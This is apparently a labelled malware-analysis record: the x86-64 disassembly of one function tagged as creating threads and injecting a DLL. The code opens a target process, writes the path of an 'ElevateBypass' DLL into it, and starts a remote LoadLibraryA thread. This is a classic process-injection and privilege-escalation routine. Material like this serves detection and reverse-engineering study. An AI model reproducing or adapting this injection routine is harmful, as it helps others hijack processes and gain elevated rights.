Function at 0x1400026d0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r12d, r12d
lea ecx, [r12 + 0x12]
call fcn.140003d0c
mov rbx, rax
mov qword [rsp + 0x20], 8
lea r9, str.Kernel32
lea r8d, [r12 + 9]
mov rdx, rax
lea rcx, [rbp - 0x19]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140005678]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x17]
call fcn.140001f40
nop
lea rax, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rax, qword [rbp + 0x17]
mov qword [rbp - 0x19], rax
mov rax, qword [rbp + 0x27]
mov qword [rbp - 0x11], rax
call fcn.140003a64
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x19], xmm0
lea r8, [rbp - 0x19]
mov edx, eax
lea rcx, [rbp - 9]
call fcn.140003920
nop
mov r15, qword [rbp + 7]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x18
jb 0x140002b15
lea r14, [rbp - 9]
cmp qword [rbp + 0xf], 0xf
cmova r14, qword [rbp - 9]
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x21], r12
lea rsi, [r15 + 0x18]
mov ebx, 0xf
lea rdi, [rbp - 0x39]
cmp rsi, rbx
jbe 0x140002857
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002819
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003cc0
test rax, rax
je 0x140002a39
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002853
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002841
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002b1b
jmp 0x1400027fa
test rcx, rcx
je 0x140002850
call fcn.140003cc0
mov rdi, rax
jmp 0x140002853
mov rdi, r12
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x29], rsi
mov qword [rbp - 0x21], rbx
mov r8, r15
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.ElevateBypass___1.8.dll]
movups xmmword [r15 + rdi], xmm0
movsd xmm0, qword [0x140005698]
movsd qword [r15 + rdi + 0x10], xmm0
mov byte [rsi + rdi], 0
call fcn.140002590
mov edx, eax
lea rcx, str.PID:__i_n
call fcn.140001010
lea rdx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0xf
cmova rdx, qword [rbp - 0x39]
mov r8, qword [rbp - 0x29]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400035a0
lea rdx, [0x140002dd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdi, [rbp - 0x39]
cmp qword [rbp - 0x21], 0xf
cmova rdi, qword [rbp - 0x39]
call fcn.140002590
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002a07
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov rbx, 0xffffffffffffffff
mov r9, rbx
nop dword [rax]
inc r9
cmp byte [rdi + r9], 0
jne 0x140002930
inc r9
mov qword [rsp + 0x20], r12
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000295d
mov rcx, rsi
jmp 0x140002a00
mov edx, eax
lea rcx, str.DLL_Injected_Succesfully_0x_lX_n
call fcn.140001010
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r14
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r15, rax
test rax, rax
jne 0x1400029c2
nop word [rax + rax]
lea rbx, [rbx + 1]
cmp byte [rdi + rbx], 0
jne 0x1400029a0
lea rdx, [rbx + 1]
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
jmp 0x140002a00
mov rdx, r15
lea rcx, str.Thread_Created_Succesfully_0x_lX_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
lea rbx, [rbx + 1]
cmp byte [rdi + rbx], 0
jne 0x1400029e0
lea rdx, [rbx + 1]
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x21]
cmp rdx, 0xf
jbe 0x140002a45
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a40
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003d04
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x21], 0xf
mov byte [rbp - 0x39], 0
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x140002a93
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003d04
mov qword [rbp + 7], r12
mov qword [rbp + 0xf], 0xf
mov byte [rbp - 9], 0
mov rdx, qword [rbp + 0x2f]
cmp rdx, 7
jbe 0x140002ae6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ae1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ae1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003d04
xor eax, eax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140003ca0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001210
nop
call fcn.140001170
int3